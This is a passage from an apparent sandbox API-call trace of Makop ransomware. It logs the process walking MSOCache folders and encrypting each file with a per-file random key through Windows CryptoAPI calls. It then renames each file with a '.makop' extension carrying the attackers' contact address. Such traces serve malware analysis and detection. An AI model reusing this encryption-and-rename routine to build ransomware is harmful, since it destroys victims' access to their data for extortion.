out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x5, lpOverlapped=0x0) returned 1 [0078.040] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0078.040] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.040] GetProcessHeap () returned 0x48a0000 [0078.040] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0078.040] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0078.040] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0078.040] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0078.041] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0078.041] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0078.041] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0078.041] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0078.041] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0078.042] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0078.042] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.042] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.042] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6a3b, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x6a3b, lpOverlapped=0x0) returned 1 [0078.045] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x6a40, dwBufLen=0x6a40 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x6a40) returned 1 [0078.045] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.046] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x6a40, lpOverlapped=0x0) returned 1 [0078.046] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0078.046] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.046] SetEndOfFile (hFile=0x124) returned 1 [0078.053] GetProcessHeap () returned 0x48a0000 [0078.053] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0078.053] GetProcessHeap () returned 0x48a0000 [0078.053] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0078.053] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0078.053] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0078.056] CloseHandle (hObject=0x124) returned 1 [0078.057] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0078.057] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0078.057] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0078.057] GetProcessHeap () returned 0x48a0000 [0078.057] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0078.058] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0078.058] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0078.058] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xa, lpOverlapped=0x0) returned 1 [0078.062] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0078.062] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.063] GetProcessHeap () returned 0x48a0000 [0078.063] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0078.063] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0078.063] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0078.063] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0078.063] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0078.063] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0078.063] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0078.064] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0078.064] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0078.064] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0078.064] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.064] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.064] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x10676, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x10676, lpOverlapped=0x0) returned 1 [0078.067] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x10680, dwBufLen=0x10680 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x10680) returned 1 [0078.067] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.068] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x10680, lpOverlapped=0x0) returned 1 [0078.068] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0078.068] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.069] SetEndOfFile (hFile=0x124) returned 1 [0078.077] GetProcessHeap () returned 0x48a0000 [0078.077] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0078.077] GetProcessHeap () returned 0x48a0000 [0078.077] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0078.077] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0078.078] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0078.078] CloseHandle (hObject=0x124) returned 1 [0078.078] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0078.079] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0078.079] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0078.079] GetProcessHeap () returned 0x48a0000 [0078.079] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0078.079] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0078.079] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0078.079] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0078.084] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0078.084] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.084] GetProcessHeap () returned 0x48a0000 [0078.084] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0078.084] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0078.084] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0078.084] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0078.084] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0078.085] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0078.085] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0078.085] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0078.085] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0078.085] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0078.085] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.085] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.086] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2488, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x2488, lpOverlapped=0x0) returned 1 [0078.087] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x2490, dwBufLen=0x2490 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x2490) returned 1 [0078.087] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.087] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x2490, lpOverlapped=0x0) returned 1 [0078.088] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0078.088] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.088] SetEndOfFile (hFile=0x124) returned 1 [0078.098] GetProcessHeap () returned 0x48a0000 [0078.098] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0078.098] GetProcessHeap () returned 0x48a0000 [0078.099] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0078.099] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0078.099] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0078.103] CloseHandle (hObject=0x124) returned 1 [0078.103] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0078.103] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0078.103] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0078.104] GetProcessHeap () returned 0x48a0000 [0078.104] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0078.104] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0078.104] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0078.104] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0078.104] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.104] GetProcessHeap () returned 0x48a0000 [0078.104] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0078.104] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0078.105] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0078.105] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0078.222] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0078.222] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0078.222] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0078.222] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0078.222] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0078.223] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0078.223] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0078.223] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.223] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xe00, lpOverlapped=0x0) returned 1 [0078.223] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xe00, dwBufLen=0xe00 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xe00) returned 1 [0078.223] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.223] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xe00, lpOverlapped=0x0) returned 1 [0078.223] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0078.223] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.224] SetEndOfFile (hFile=0x124) returned 1 [0078.230] GetProcessHeap () returned 0x48a0000 [0078.230] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0078.230] GetProcessHeap () returned 0x48a0000 [0078.230] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0078.230] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0078.230] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0078.233] CloseHandle (hObject=0x124) returned 1 [0078.233] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0078.233] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0078.233] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 